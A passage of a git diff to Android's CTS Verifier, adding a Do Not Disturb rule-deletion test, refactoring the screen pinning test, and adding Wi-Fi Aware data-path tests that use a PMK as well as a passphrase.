+    protected class ReceiveRuleDeletedNoticeTest extends InteractiveTestCase {
+        private final int EXPECTED_STATUS = AUTOMATIC_RULE_STATUS_REMOVED;
+        private int mRetries = 2;
+        private View mView;
+        private String mId;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.cp_delete_rule_broadcast);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            status = READY;
+            AutomaticZenRule rule = new AutomaticZenRule(BROADCAST_RULE_NAME, null,
+                    new ComponentName(CP_PACKAGE,
+                            ConditionProviderVerifierActivity.this.getClass().getName()),
+                    Uri.EMPTY, null, INTERRUPTION_FILTER_PRIORITY, true);
+            mId = mNm.addAutomaticZenRule(rule);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+
+            AutomaticZenRule rule = mNm.getAutomaticZenRule(mId);
+
+            if (rule == null) {
+                Log.d(TAG, "Check pref for broadcast " + prefs.contains(mId)
+                        + " " + prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN));
+                if (prefs.contains(mId)
+                        && EXPECTED_STATUS == prefs.getInt(mId, AUTOMATIC_RULE_STATUS_UNKNOWN)) {
+                    status = PASS;
+                } else {
+                    if (mRetries > 0) {
+                        mRetries--;
+                        status = RETEST;
+                    } else {
+                        status = FAIL;
+                    }
+                }
+            } else {
+                Log.d(TAG, "Waiting for user");
+                // user hasn't jumped to settings yet
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            mNm.removeAutomaticZenRule(mId);
+            SharedPreferences prefs = mContext.getSharedPreferences(PREFS, Context.MODE_PRIVATE);
+            prefs.edit().clear().commit();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CONDITION_PROVIDER_SETTINGS)
+                    .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        }
+    }
+
     private class DeleteAutomaticZenRuleTest extends InteractiveTestCase {
         private String id1 = null;
         private String id2 = null;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index f1f08ff..296df5d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -98,6 +98,7 @@
         protected int status;
         private View view;
         protected long delayTime = 3000;
+        boolean buttonPressed;
 
         protected abstract View inflate(ViewGroup parent);
         View getView(ViewGroup parent) {
@@ -247,7 +248,7 @@
     protected View createUserItem(ViewGroup parent, int actionId, int messageId,
             Object... messageFormatArgs) {
         View item = mInflater.inflate(R.layout.nls_item, parent, false);
-        TextView instructions = (TextView) item.findViewById(R.id.nls_instructions);
+        TextView instructions = item.findViewById(R.id.nls_instructions);
         instructions.setText(getString(messageId, messageFormatArgs));
         Button button = (Button) item.findViewById(R.id.nls_action_button);
         button.setText(actionId);
@@ -255,15 +256,22 @@
         return item;
     }
 
-    protected View  createAutoItem(ViewGroup parent, int stringId) {
+    protected View createAutoItem(ViewGroup parent, int stringId) {
         View item = mInflater.inflate(R.layout.nls_item, parent, false);
-        TextView instructions = (TextView) item.findViewById(R.id.nls_instructions);
+        TextView instructions = item.findViewById(R.id.nls_instructions);
         instructions.setText(stringId);
         View button = item.findViewById(R.id.nls_action_button);
         button.setVisibility(View.GONE);
         return item;
     }
 
+    protected View createPassFailItem(ViewGroup parent, int stringId) {
+        View item = mInflater.inflate(R.layout.iva_pass_fail_item, parent, false);
+        TextView instructions = item.findViewById(R.id.nls_instructions);
+        instructions.setText(stringId);
+        return item;
+    }
+
     // Test management
 
     abstract protected List<InteractiveTestCase> createTestItems();
@@ -381,10 +389,25 @@
             }
             if (mCurrentTest != null) {
                 mCurrentTest.mUserVerified = true;
+                mCurrentTest.buttonPressed = true;
             }
         }
     }
 
+    public void actionPassed(View v) {
+        if (mCurrentTest != null) {
+            mCurrentTest.mUserVerified = true;
+            mCurrentTest.status = PASS;
+            next();
+        }
+    }
+
+    public void actionFailed(View v) {
+        if (mCurrentTest != null) {
+            mCurrentTest.setFailed();
+        }
+    }
+
     // Utilities
 
     protected PendingIntent makeIntent(int code, String tag) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
index a6e5f98..180306e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/screenpinning/ScreenPinningTestActivity.java
@@ -18,78 +18,40 @@
 import android.app.ActivityManager;
 import android.os.Bundle;
 import android.util.Log;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.widget.Button;
-import android.widget.LinearLayout;
 import android.widget.TextView;
 
-import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.OrderedTestActivity;
 import com.android.cts.verifier.R;
 
-public class ScreenPinningTestActivity extends PassFailButtons.Activity {
+public class ScreenPinningTestActivity extends OrderedTestActivity {
 
     private static final String TAG = "ScreenPinningTestActivity";
-    private static final String KEY_CURRENT_TEST = "keyCurrentTest";
     private static final long TASK_MODE_CHECK_DELAY = 200;
     private static final int MAX_TASK_MODE_CHECK_COUNT = 5;
 
-    private Test[] mTests;
-    private int mTestIndex;
-
     private ActivityManager mActivityManager;
-    private Button mNextButton;
-    private LinearLayout mInstructions;
 
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        setContentView(R.layout.screen_pinning);
-        setPassFailButtonClickListeners();
-
-        mTests = new Test[] {
-            // Verify not already pinned.
-            mCheckStartedUnpinned,
-            // Enter pinning, verify pinned, try leaving and have the user exit.
-            mCheckStartPinning,
-            mCheckIsPinned,
-            mCheckTryLeave,
-            mCheckUnpin,
-            // Enter pinning, verify pinned, and use APIs to exit.
-            mCheckStartPinning,
-            mCheckIsPinned,
-            mCheckUnpinFromCode,
-            // All done.
-            mDone,
-        };
 
         mActivityManager = (ActivityManager) getSystemService(ACTIVITY_SERVICE);
-        mInstructions = (LinearLayout) findViewById(R.id.instructions_list);
-
-        mNextButton = (Button) findViewById(R.id.next_button);
-        mNextButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                if ((mTestIndex >= 0) && (mTestIndex < mTests.length)) {
-                    mTests[mTestIndex].onNextClick();
-                }
-            }
-        });
-
-        // Don't allow pass until all tests complete.
-        findViewById(R.id.pass_button).setVisibility(View.GONE);
-
-        // Figure out if we are in a test or starting from the beginning.
-        if (savedInstanceState != null && savedInstanceState.containsKey(KEY_CURRENT_TEST)) {
-            mTestIndex = savedInstanceState.getInt(KEY_CURRENT_TEST);
-        } else {
-            mTestIndex = 0;
-        }
-        mTests[mTestIndex].run();
-    };
+    }
 
     @Override
-    protected void onSaveInstanceState(Bundle outState) {
-        outState.putInt(KEY_CURRENT_TEST, mTestIndex);
+    protected Test[] getTests() {
+        return new Test[]{
+                // Verify not already pinned.
+                mCheckStartedUnpinned,
+                // Enter pinning, verify pinned, try leaving and have the user exit.
+                mCheckStartPinning,
+                mCheckIsPinned,
+                mCheckTryLeave,
+                mCheckUnpin,
+                // Enter pinning, verify pinned, and use APIs to exit.
+                mCheckStartPinning,
+                mCheckIsPinned,
+                mCheckUnpinFromCode
+        };
     }
 
     @Override
@@ -98,27 +60,8 @@
         // Users can still leave by pressing fail (or when done the pass) button.
     }
 
-    private void show(int id) {
-        TextView tv = new TextView(this);
-        tv.setPadding(10, 10, 10, 30);
-        tv.setText(id);
-        mInstructions.removeAllViews();
-        mInstructions.addView(tv);
-    }
-
-    private void succeed() {
-        runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mTestIndex++;
-                if (mTestIndex < mTests.length) {
-                    mTests[mTestIndex].run();
-                }
-            }
-        });
-    }
-
-    private void error(int errorId) {
+    @Override
+    protected void error(int errorId) {
         error(errorId, new Throwable());
     }
 
@@ -128,10 +71,8 @@
             public void run() {
                 String error = getString(errorId);
                 Log.d(TAG, error, cause);
-                // No more instructions needed.
-                findViewById(R.id.instructions_group).setVisibility(View.GONE);
 
-                ((TextView) findViewById(R.id.error_text)).setText(error);
+                ((TextView) findViewById(R.id.txt_instruction)).setText(error);
             }
         });
     }
@@ -211,40 +152,6 @@
                     error(R.string.error_screen_pinning_couldnt_exit);
                 }
             }
-        };
+        }
     };
-
-    private final Test mDone = new Test(R.string.screen_pinning_done) {
-        @Override
-        protected void run() {
-            super.run();
-            // On test completion, hide "next" button, and show "pass" button
-            // instead.
-            mNextButton.setVisibility(View.GONE);
-            findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
-        };
-    };
-
-    private abstract class Test {
-        private final int mResId;
-
-        public Test(int showId) {
-            mResId = showId;
-        }
-
-        protected void run() {
-            showText();
-        }
-
-        public void showText() {
-            if (mResId == 0) {
-                return;
-            }
-            show(mResId);
-        }
-
-        protected void onNextClick() {
-        }
-    }
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
index f6afecc..d560702 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenActiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, passive subscribe
+ * Test activity for data-path, open, active subscribe
  */
 public class DataPathOpenActiveSubscribeTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, true, false, false);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+                /* isUnsolicited */ false, /* usePmk */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
index 08d9d78..78562ac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenPassiveSubscribeTestActivity.java
@@ -26,6 +26,7 @@
 public class DataPathOpenPassiveSubscribeTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, true, false, true);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ false,
+                /* isUnsolicited */ true, /* usePmk */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
index 154dcfe..c3007b5 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenSolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, open, solicited publish
  */
 public class DataPathOpenSolicitedPublishTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, true, true, false);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ false, /* usePmk */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
index 253bad9..6c49635 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathOpenUnsolicitedPublishTestActivity.java
@@ -28,7 +28,8 @@
 public class DataPathOpenUnsolicitedPublishTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, true, true, true);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ true, /* isPublish */ true,
+                /* isUnsolicited */ true, /* usePmk */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
index c8ef3ea..a8205a8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseActiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, passive subscribe
+ * Test activity for data-path, passphrase, active subscribe
  */
 public class DataPathPassphraseActiveSubscribeTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, false, false, false);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
index ff40e03..d8d9a3f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphrasePassiveSubscribeTestActivity.java
@@ -21,11 +21,12 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, passive subscribe
+ * Test activity for data-path, passphrase, passive subscribe
  */
 public class DataPathPassphrasePassiveSubscribeTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, false, false, true);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ false);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
index dcde6ff..e820428 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseSolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, passphrase, solicited publish
  */
 public class DataPathPassphraseSolicitedPublishTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, false, true, false);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
index 7a25bb4..ab17432 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPassphraseUnsolicitedPublishTestActivity.java
@@ -23,12 +23,13 @@
 import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
 
 /**
- * Test activity for data-path, open, unsolicited publish
+ * Test activity for data-path, passphrase, unsolicited publish
  */
 public class DataPathPassphraseUnsolicitedPublishTestActivity extends BaseTestActivity {
     @Override
     protected BaseTestCase getTestCase(Context context) {
-        return new DataPathInBandTestCase(context, false, true, true);
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ false);
     }
 
     @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
new file mode 100644
index 0000000..1eb27a8
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkActiveSubscribeTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, active subscribe
+ */
+public class DataPathPmkActiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ false, /* usePmk */ true);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
new file mode 100644
index 0000000..255877f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkPassiveSubscribeTestActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, passive subscribe
+ */
+public class DataPathPmkPassiveSubscribeTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ false, /* isUnsolicited */ true, /* usePmk */ true);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
new file mode 100644
index 0000000..d6678eb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkSolicitedPublishTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, solicited publish
+ */
+public class DataPathPmkSolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ false, /* usePmk */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_solicited_publish,
+                R.string.aware_data_path_pmk_solicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
new file mode 100644
index 0000000..8cfc1f9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/DataPathPmkUnsolicitedPublishTestActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.wifiaware;
+
+import android.content.Context;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.wifiaware.testcase.DataPathInBandTestCase;
+
+/**
+ * Test activity for data-path, PMK, unsolicited publish
+ */
+public class DataPathPmkUnsolicitedPublishTestActivity extends BaseTestActivity {
+    @Override
+    protected BaseTestCase getTestCase(Context context) {
+        return new DataPathInBandTestCase(context, /* isSecurityOpen */ false,
+                /* isPublish */ true, /* isUnsolicited */ true, /* usePmk */ true);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setInfoResources(R.string.aware_data_path_pmk_unsolicited_publish,
+                R.string.aware_data_path_pmk_unsolicited_publish_info, 0);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
index 4e88565..2c6a895 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/TestListActivity.java
@@ -85,6 +85,16 @@
                 DataPathPassphrasePassiveSubscribeTestActivity.class.getName(),
                 new Intent(this, DataPathPassphrasePassiveSubscribeTestActivity.class), null));
         adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_pmk_unsolicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathPmkUnsolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathPmkUnsolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathPmkPassiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathPmkPassiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
                 R.string.aware_dp_ib_open_solicited));
         adapter.add(TestListAdapter.TestListItem.newTest(this,
                 R.string.aware_publish,
@@ -105,6 +115,16 @@
                 DataPathPassphraseActiveSubscribeTestActivity.class.getName(),
                 new Intent(this, DataPathPassphraseActiveSubscribeTestActivity.class), null));
         adapter.add(TestListAdapter.TestListItem.newCategory(this,
+                R.string.aware_dp_ib_pmk_solicited));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_publish,
+                DataPathPmkSolicitedPublishTestActivity.class.getName(),
+                new Intent(this, DataPathPmkSolicitedPublishTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newTest(this,
+                R.string.aware_subscribe,
+                DataPathPmkActiveSubscribeTestActivity.class.getName(),
+                new Intent(this, DataPathPmkActiveSubscribeTestActivity.class), null));
+        adapter.add(TestListAdapter.TestListItem.newCategory(this,
                 R.string.aware_dp_oob_open));
         adapter.add(TestListAdapter.TestListItem.newTest(this,
                 R.string.aware_responder,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
index 26b0978..142211c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifiaware/testcase/DataPathInBandTestCase.java
@@ -78,11 +78,13 @@
 
     private static final byte[] MSG_PUB_TO_SUB = "Ready".getBytes();
     private static final String PASSPHRASE = "Some super secret password";
+    private static final byte[] PMK = "01234567890123456789012345678901".getBytes();
 
     private static final byte[] MSG_CLIENT_TO_SERVER = "GET SOME BYTES".getBytes();
     private static final byte[] MSG_SERVER_TO_CLIENT = "PUT SOME OTHER BYTES".getBytes();
 
     private boolean mIsSecurityOpen;
+    private boolean mUsePmk;
     private boolean mIsPublish;
     private Thread mClientServerThread;
     private ConnectivityManager mCm;
@@ -91,10 +93,11 @@
     private static int sSDKLevel = android.os.Build.VERSION.SDK_INT;
 
     public DataPathInBandTestCase(Context context, boolean isSecurityOpen, boolean isPublish,
-            boolean isUnsolicited) {
+            boolean isUnsolicited, boolean usePmk) {
         super(context, isUnsolicited, false);
 
         mIsSecurityOpen = isSecurityOpen;
+        mUsePmk = usePmk;
         mIsPublish = isPublish;
     }
 
@@ -170,7 +173,11 @@
         WifiAwareNetworkSpecifier.Builder nsBuilder =
                 new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
         if (!mIsSecurityOpen) {
-            nsBuilder.setPskPassphrase(PASSPHRASE);
+            if (mUsePmk) {
+                nsBuilder.setPmk(PMK);
+            } else {
+                nsBuilder.setPskPassphrase(PASSPHRASE);
+            }
         }
         NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
                 NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
@@ -359,8 +366,12 @@
         WifiAwareNetworkSpecifier.Builder nsBuilder =
                 new WifiAwareNetworkSpecifier.Builder(mWifiAwareDiscoverySession, mPeerHandle);
         if (!mIsSecurityOpen) {
-            nsBuilder.setPskPassphrase(PASSPHRASE).setPort(port).setTransportProtocol(
-                    6); // 6 == TCP
+            if (mUsePmk) {
+                nsBuilder.setPmk(PMK);
+            } else {
+                nsBuilder.setPskPassphrase(PASSPHRASE);
+            }
+            nsBuilder.setPort(port).setTransportProtocol(6); // 6 == TCP
         }
         NetworkRequest nr = new NetworkRequest.Builder().addTransportType(
                 NetworkCapabilities.TRANSPORT_WIFI_AWARE).setNetworkSpecifier(
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index be43556..4efd277 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -38,6 +38,7 @@
     <uses-permission android:name="com.android.cts.permissionapp.permA"/>
     <uses-permission android:name="com.android.cts.permissionapp.permB"/>
     <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
     <application android:label="CtsPermissionApp"
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
index 14e711a..74f549d 100644
--- a/common/device-side/test-app/Android.bp
+++ b/common/device-side/test-app/Android.bp
@@ -30,7 +30,7 @@
         "compatibility-common-util-devicesidelib",
         "compatibility-device-info-tests",
         "compatibility-device-info",
-        "compatibility-device-util-tests",
+        "compatibility-device-util-tests-axt",
         "compatibility-device-util-axt",
     ],
 
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index fe2b1b7..169184a 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -12,14 +12,13 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-// temporary compatibility-device-util variant that brings in androidx.test transitively, instead
